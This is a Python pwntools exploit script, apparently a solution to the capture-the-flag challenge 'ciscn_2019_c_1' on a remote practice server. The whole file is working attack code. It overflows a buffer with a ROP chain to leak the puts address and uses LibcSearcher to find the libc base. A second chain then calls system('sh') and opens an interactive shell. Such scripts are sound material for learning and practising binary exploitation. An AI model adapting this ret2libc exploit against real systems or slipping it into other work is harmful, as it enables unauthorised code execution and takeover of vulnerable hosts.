#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *

io = remote("node3.buuoj.cn", 26144)
elf = ELF('./ciscn_2019_c_1')

pop_rdi_ret = 0x400c83
offset = 0x80 - 0x28
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']

# Construct payload1 to print puts@got && return to main func
payload1 = cyclic(offset) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil("Input your choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload1)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
# Get puts address
puts_got_addr = u64(io.recvuntil("\n", drop=True).ljust(8, b"\x00"))

success(f"puts@got address: {puts_got_addr}")

# Get libc version
libc = LibcSearcher("puts", puts_got_addr)
libcbase = puts_got_addr - libc.dump("puts")

success(f"libc base: {libcbase}")

system_got_addr = libcbase + libc.dump('system')
#bin_sh = libcbase + libc.dump('str_bin_sh')
bin_sh = next(elf.search(b'sh\x00'))

# Construct payload2 to get shell
ret = 0x4006b9
payload2 = cyclic(offset) + p64(ret) +  p64(pop_rdi_ret) + p64(bin_sh) + p64(system_got_addr)

io.recv()
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload2)
io.interactive()
